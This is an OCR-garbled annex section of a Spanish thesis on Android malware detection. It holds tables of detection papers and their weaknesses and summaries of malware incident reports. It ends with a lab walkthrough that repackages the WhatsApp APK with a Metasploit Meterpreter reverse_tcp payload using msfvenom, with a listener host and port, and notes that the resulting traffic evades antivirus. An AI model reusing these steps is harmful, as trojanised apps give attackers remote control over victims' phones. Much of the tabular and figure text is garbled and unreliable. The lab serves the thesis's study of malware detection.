based on similarity
matching of
malware and
malware creator-
centric information

(Kaushik & Jain,
2015) Malware
Detection
Techniques in
Android
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(Laura Gheorghe,
Bogdan Marin,
Gary Gibson,
Lucian Mogosanu,
Razvan
Deaconescu,
Valentin-Gabriel
Voiculescu, 2015)
Smart malware
detection on
Android

(Lin Ying-Dar, Lai
Yuan-Cheng, Lu
Chun-Nan, Hsu
Peng-Kai, 2014)
Three-phase
behavior-based
detection and
classification of
known and
unknown malware

(Talha, Alper, &
Aydin, 2015) APK
Auditor:
Permission-based
Android  malware
detection system

(Liang, Might, &
Van Horn, 2015)
AnaDroid: Malware
analysis of Android
with user-supplied
predicates

(Han, Chen, Yan,
Lizhi, & Zhang,
2015) A Real-time
Android Malware
Detection System
Based on Network
Traffic Analysis
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(Kate & Dhavale,
2015) Two Phase
Static Analysis
Technique for
Android Malware
Detection

(Jung, Kim, & Cho,
2016) A study of
Android malware
detection
techniques in
virtual environment

(Ali Alatwi, Oh,
Fokoue, &
Stackpole, 2016)
Android Malware
Detection Using
Category-Based
Machine Learning
Classifiers

(Somarriba,
Zurutuza,
Uribeetxeberria,
Delosieres, &
Nadjm-Tehrani,
2016) Detection
and Visualization of
Android Malware
Behavior
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(Z. Wang, Li, Yuan,
Guan, & Xue,
2016) DroidChain:
A novel Android
malware detection
method based on
behavior chains

(E. M. B. Karbab,
Debbabi, &
Mouheb, 2016)
Fingerprinting
Android packaging:
Generating DNAs
for malware
detection

(Malik & Kaushal,
2016) CREDROID:
Android Malware
Detection by
Network Traffic
Analysis

(E. B. Karbab,
Debbabi, Derhab,
& Mouheb, 2016)
Cypider: Building
Community-Based
Cyber-Defense
Infrastructure for
Android Malware
Detection

(Chen, Hou, & Ye,
2017) SecureDroid:
Enhancing Security
of Machine
Learning-based
Detection against
Adversarial
Android Malware
Attacks (2017)
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(Singh & Hofmann,
2017) Dynamic
Permissions-based
Android malware
detection using
machine learning
techniques

(Leeds et al., 2017)
A Comparison of
Features for
Android Malware
Detection

(Singh & Hofmann,
2017) Dynamic
Behavior Analysis
of Android
Applications for
Malware Detection
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(Tan Cam & Hong
Phuoc, 2017)
NeSeDroid—
Android Malware
Detection Based
on Network Traffic
and Sensitive
Resource
Accessing

(X. Wang, Zhang,
Su, & Li, 2017)
Mlifdect: Android
Malware Detection
based on Parallel
Machine Learning
and Information
Fusion

(John & Vinod,
2018) Statistical
approach using
meta features for
Android malware
detection system

(Sugunan, Kumar,
& Dhanya, 2018)
Static and Dynamic
Analysis for
Android Malware
Detection (2018)

(Zhu et al., 2017)
DroidDet: Effective
and robust
detection of
Android malware
using static
analysis along with
rotation forest
model
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(Kabakus & Dogru,
2018) An in-depth
analysis of Android
malware using
hybrid techniques

Debilidades de las Técnicas de deteccidon de malware en
Teléfonos inteligentes con Android entre el 2013 y el

2018-1

La Tabla 8-2. Debilidades de las Técnicas de deteccion de malware en Android entre el 2013 y 2018-1 resultado del estado del

arte.

Tabla 8-2. Debilidades de las Técnicas de detecciéon de malware en Android entre el 2013 y 2018-1 resultado del estado del arte.

Fuente Propia.

Debilidades de las Técnicas de deteccidon de malware en Teléfonos inteligentes con Android entre el 2013 y el 2018-1

Articulos Requiere por
lo menos de
una muestra
de malware
para generar
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deteccion

Requieren de
conocimientos
avanzados

Serequiere
de un
administrador

No se realiza
deteccién en
tiempo real

El analisis
se hace
entornos
ficticios

Depende de
grandes
cantidades de
informacioén e
infraestructura
robusta

Solamente
funciona con
aplicaciones de
latienda de
Google (Google
Play)

No incluye
analisis
dindmico
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Malware Detection
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(Y. Zhang et al,
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behaviors in Android
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(Teufl Peter,

Ferk Michaela,
Fitzek Andreas,
Hein Daniel,
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2014) Malware

detection by
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application

metadata on the
Android Market
(Google Play)
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(Seo et al, X X X
2014) Detecting
mobile malware

threats to homeland
security through
static analysis

(M. Zhang et al., X X
2014) Semantics-
Aware Android
Malware
Classification Using
Weighted
Contextual API
Dependency
Graphs

(Du Yao, Wang X X
Xiaoqing, 2014) A
static Android
malicious code
detection method
based on multi-
source fusion

(Wu, 2014) X X
DroidDolphin: a
Dynamic Android
Malware Detection
Framework Using
Big Data and
Machine Learning
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(Elish et al., 2015) X X
Profiling user-
trigger dependence
for Android malware
detection (2015)

(Jang et al., 2015) X X X
Andro-AutoPsy:
Anti-malware
system based on
similarity matching
of malware and
malware creator-
centric information
(2015)

(Kaushik & Jain, X X
2015) Malware
Detection
Techniques in
Android
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Smart malware
detection on
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(Lin  Ying-Dar,
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Peng-Kai, 2014)
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detection and
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unknown malware

(Talha et al., 2015)
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Permission-based
Android malware
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(Liang et al., 2015)
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(Han et al., 2015) A
Real-time Android
Malware Detection
System Based on
Network Traffic
Analysis

(Kate & Dhavale,
2015) Two Phase
Static Analysis
Technique for
Android Malware
Detection

(Jung et al., 2016)
A study of Android
malware detection
techniques in virtual
environment

(Ali Alatwi et al.,
2016) Android
Malware Detection
Using Category-
Based Machine
Learning Classifiers
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(Somarriba et al.,
2016) Detection
and Visualization of
Android Malware
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(Z.Wang et al.,
2016) DroidChain:
A novel Android
malware detection
method based on
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al., 2016)
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Android packaging:
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for malware
detection
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(Malik & Kaushal, X
2016) CREDROID:
Android Malware
Detection by
Network Traffic
Analysis

(E. B. Karbab et al., X
2016) Cypider:
Building
Community-Based
Cyber-Defense
Infrastructure for
Android Malware
Detection

(Chen etal., 2017) X
SecureDroid:
Enhancing Security
of Machine
Learning-based
Detection against
Adversarial Android
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Android malware
detection using
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A Comparison of
Features for
Android Malware
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2017) Dynamic
Behavior Analysis
of Android
Applications for
Malware Detection
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Android Malware
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Android Malware
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Parallel Machine
Learning and
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(John & Vinod,
2018) Statistical
approach using
meta features for
Android malware
detection system
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(Sugunan et al.,
2018) Static and
Dynamic Analysis
for Android
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detection of Android
malware using
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analysis of Android
malware using
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B. Anexo Incidentes de malware en
Teléfonos inteligentes con Android
entre el 2013 y el 2018-1

(Pastor, 2013) Escribié en el Webblog Xatakamovil a partir de la Gltima gran vulnerabilidad
detectada en Android y con base a las pruebas realizadas por AV Comparatives, AV-Testy PC
Security LABS, publicé ¢ Sirven de algo los antivirus para moviles?

(Ludwig, 2015) Segun informes de Incibe, Hispasec, Sophos, McAfee, Kaspersky, Trend
Micro, Symantec y Cisco en otras entidades y fabricantes de software antimalware entre los afios
2014 y 2017, Android se ha convertido en la plataforma mévil mas atacada por parte de los ciber
criminales.

(PandaLabs, 2015) En el afio 2014 Panda Security predijo que en el afio siguiente las
amenazas para dispositivos moviles con sistema operativo Android iban a aumentar de manera
significativa, siendo esta, una prediccién bastante acertada de lo que sucede en la actualidad.

(Giusto Bili¢, 2015) WelLiveSecurity, blog de noticias perteneciente al fabricante ESET,
informa sobre el crecimiento en los tipos de amenazas para teléfonos moviles con sistema
operativo Android, siendo los troyanos, el cédigo malicioso de mas popularidad en afio 2015.

La Figura 8-1 muestra las familias de malware para Android que mas crecieron en 2015 que mas
crecieron en 2015.

Familias de malware para Android que mas crecieron en 2015

15

:i-l-!_l-l-l—-—-.l-l-l'l-l.l

.

Figura 8-1 Familias de malware para Android que Mas Crecieron en 2015. (Fuente : Giusto Bili¢, 2015).
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(Emm et al., 2016) escritores pertenecientes a Securelist, blog de noticias perteneciente al
fabricante Kaspersky Lab, informan que en el afio 2016 los troyanos aun tenian una gran cantidad
de popularidad, superados por el codigo malicioso de la familia Adware.

La muestra la distribucién de nuevo malware para moviles por familia en los dos primeros Q de
2016.

2%
-
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Trojan-Spy I 0.1 3%
Trojan _Il - —

RiskToal —-56 a0
Backdoor -I 2 |
Trojan-Downloader =:j;:
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. | RO
Trojan-Banker T

W os

Trojan-Ransom —

—
e — sauams
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Figura 8-2. Distribucién de nuevo malware para méviles por familia (Q1 2016 y Q2 2016). (Fuente: Emm
et al., 2016)

Basado en estudios realizados por (Benzmiller, 2017) perteneciente al fabricante G Data
Security, se puede evidenciar un aumento en la cantidad de especimenes de malware existentes
entre el afio 2015y 2016 y aun mas considerable en el afio 2017 tal cual como lo predijo Panda
Security en el afio 2015.

La Figura 8-3 muestra el numero nuevas variantes de malware entre el periodo 2007 y el 2017.

Number of new malware specimen
(count in millions)

2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017

Figura 8-3. NUmero de nuevos especimenes de malware (Contar en Millones). (Fuente: Benzmiiller,
2017).
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(Emm et al., 2016) Android cerré con 735 fallos (error de software), un 40,5 por ciento mas
gue en 2016, donde se registraron 523 vulnerabilidades (debilidad del sistema informético)
reportadas. Estas cifras, segun la firma de ciberseguridad ESET, posicionan a Android como el
sistema operativo con mas amenazas durante el 2017.

(Benzmdller, 2017) EI 27 por ciento de las fallas que podria implicar la ejecucion de codigo
malicioso y el 45 por ciento de estos correspondieron a una criticidad alta, lo que implica que
podria tener un grave impacto para la informacién almacenada en el equipo.

El malware, por su parte, se mantuvo durante los Ultimos dos afios en aproximadamente 300
nuevas variantes mensuales. A su vez, la cantidad de detecciones de aplicaciones maliciosas
decayd un 47,24 por ciento con respecto a 2016.

No obstante, el informe detalla que las amenazas en la Play Store no han dejado de ser
frecuentes; por el contrario, son comunes los casos de troyanos disfrazados de aplicaciones
benignas que logran saltar los controles de seguridad de Google para afectar a los usuarios.

Seglin (TECNOSFERA, 2018) Los paises de América Latina con mayor deteccion de
'malware’ fueron México (32 por ciento), Brasil (12 por ciento) y Colombia (9 por ciento). A escala
mundial, dicha tendencia se concentr6 en Iran (16 por ciento), Rusia (11 por ciento) y Ucrania (7
por ciento).



134 Deteccion de malware en Android a
partir de la correlacién de eventos

C. Anexo: Laboratorio de infeccion de
aplicaciones (WhatsApp)

1. Se descarga la aplicacion oficial que se va a infectar, en este caso WhatsApp version 2.18.223
desde la PlayStore.

La Figura 8-4 muestra el archivo WhatsApp versidn 2.18.223 oficial.

Figura 8-4 APK de WhatsApp. (Fuente: Propia).

2. procedemos a la instalaciéon del entorno de pruebas para la infeccion de WhatsApp y Fabrica
Dulce con Meterpreter de Metasploit.

Se instala Ubuntu 16.04 LTS en una maquina virtual bajo emulada con de VirtualBox Ver.5.2.16.

La Figura 8-5 muestra la instalacion de Ubuntu version 16.04 LTS.

Le damos la bienvenida

Probar Ubuntu Instalar Ubuntu

Puede probar Ubuntu sin hacer bio en su equipo, dir
te CD,

O si est listo, puede instalar Ubuntu junto a (o en lugar de) su sistema operativo
actual. Esto no tardaré demasiado

BOWF L WE D PEI T omec

Figura 8-5. Instalacién de Ubuntu en una maquina de Virtualbox, seleccion del lenguaje de instalacion.
(Fuente: Propia).

Se selecciona el idioma del sistema operativo en este caso es espafol
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La Figura 8-6 muestra los parametros de instalacion del sistema operativo Ubuntu

P4 ubuntu [Coniendo] - Oracle VM VirtualBox
Archivo  Maquina Ver Entrada _ Dispositivos _ Ayuda

 u@ao &

® Instalar (as superuser)

Preparandose para instalar Ubuntu

Descargar actualizaciones al instalar Ubuntu

Esto ahorrard tiempo después de La instalacion

Instalar software de terceros para multimedia, MP3, Flash y compatibilidad con gréficas y Wi-Fi
This software is subject to license terms included with its documentation. Some is proprietary.

€l complemento Fiuendo MP3 incluye ta tecnologia de decodificacion MPEG Layer-3 icenciada por Fraunhofer IS y Technicolor SA

Continuar

BOWFP L EF O @R oromeca
Figura 8-6. Seleccion de pardmetros de instalacidn de sistema operativo Ubuntu. (Fuente: Propia).

3. Actualizar el sistema operativo, seleccionando la opcion “Descarga actualizaciones” al instalar
Ubuntu

La Figura 8-7 muestra los parametros de instalacion del sistema operativo Ubuntu

ubuntu [Corriendo] - Oracle VM VirtualBox

Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

™ Instalar (as superuser)

Preparandose para instalar Ubuntu

Descargar actualizaciones al instalar Ubuntu
Esto ahorrard tiempo después de la instalacion.
") Instalar software de terceros para multimedia, MP3, Flash y compatibilidad con gréficas y Wi-Fi

This software is subject to license i withiits Some t:

El complemento Fluendo MP3 incluye la tecnologia de decodificacion MPEG Layer-3 licenciada por Fraunhofer l1Sy Technicolor SA.

salir Atras Continuar

BORP P LEEE O @R cromecia

Figura 8-7. Parametros seleccionados para esta instalacién. (Fuente: Propia).

Clic en continuar
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4. Una vez finalizada la instalacion de Ubuntu 16.04 LTS se descarga el paguete Apktool, seguir
el paso a paso de la URL

Desde la pagina: https://ibotpeaches.github.io/Apktool/install/

La Figura 8-8 muestra la instalacion de Apktool.

% ot

Ap

6 € Oa ibotpeaches.github.io *8a ¥ N =
=l Install Instructions N
8! Quick Check

é ) 18

& Installation for Apktool

a « Windows

@ aebore e eecoey 0 yourEnvematVaraiesSytom PATH varil

[ -]

Choose what I Share %
BOWS S ¥ 0 GETomzon

Figura 8-8. Instalacion de Apktool. (Fuente: Propia).

Desde la consola de comandos instalamos todos los paquetes adicionales necesarios para la
infeccion. Paquetes usados:

-Paquete JDK de Java por medio del comando: sudo apt install open-jdk-headless
-Paquete para descompilar y compilar la aplicacion después de infectada por medio del
comando:

sudo apt install | zipalign

La Figura 8-9 muestra la instalacion de Zipaling en Ubuntu.

PPDIE

ChooseWhatishare  x
HONF @006 o osEon

Figura 8-9. Instalacién de Zipalign. (Fuente: Propia).


https://ibotpeaches.github.io/Apktool/install/
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La Figura 8-10 muestra la instalacion de OpenJava en Ubuntu.

minal

hpp Messenger.

Minimum Requirements
= Android 05 2.3.3 or above
« Unlimited internet data plan recommended

= Tablet devices are not supported

]
&
)
"
.:
%
B
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Figura 8-10. Instalacién de OpenJava. (Fuente: Propia).
La imagen muestra cuando se ejecuta el comando sudo install apt openjdk-9-jdk-headless
5. Se ejecuta la siguiente linea de comandos desde la consola
Msfvenom -x /home/infeccionlab/Descargas/WhatsApp.APK -p
Android/Meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=444 O-
WhatsApp_infected. APK
La Figura 8-11 muestra cuando se ejecuta el proceso de infeccién, en la linea de comandos se

puede ver el directorio donde esta el archivo APK para ser infectado la direccién IP a la cual se
va a conectar el Meterpreter y el puerto, ademas como se va a llamar el nuevo archivo infectado

infeccionlab@infeccionlab-virtual: ~

o ¥ N @ = mn @ =

MO p Messenger.

Minimum Requirements

+ Android OS 2.3.3 or above
« Unlimited internet data plan recommended

« Tablet devices are not supported

BoWS L EE O G E cm s

Figura 8-11. Infeccion de la APK con la carga util del malware. (Fuente: Propia).
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6. Una vez terminado el proceso de infeccidn se creara un archivo nuevo en el directorio asignado
anteriormente por medio de la linea de comandos.

La Figura 8-12 muestra el archivo WhatsApp_Infected. APK reempaquetado con Meterpreter
para Android.

Descargas

Grcarpeta personal Descargas

@ Recientes

4t Carpeta personal S
Whastapp_ WhatsApp.apk lista.txt msfinstall

[ Escritorio Infected.apk

[ Documentos

1 Imagenes

dd Misica

vl Videos

1 Papelera

@@ Red

Equipo

B Conectarseconun ...

Figura 8-12. Archivo resultante luego de concluirse el proceso de infeccion. (Fuente: Propia).

Una vez instala la aplicacion infectada con Meterpreter en el dispositivo mavil, el atacante
puede ejecutar comandos, obtener informacion, manipular procesos del sistema vy finalizarlos,
los datos son trasmitidos via SSL, lo cual significa que la informacion viaja encriptada y no es
facilmente detectada por los antivirus convencionales.
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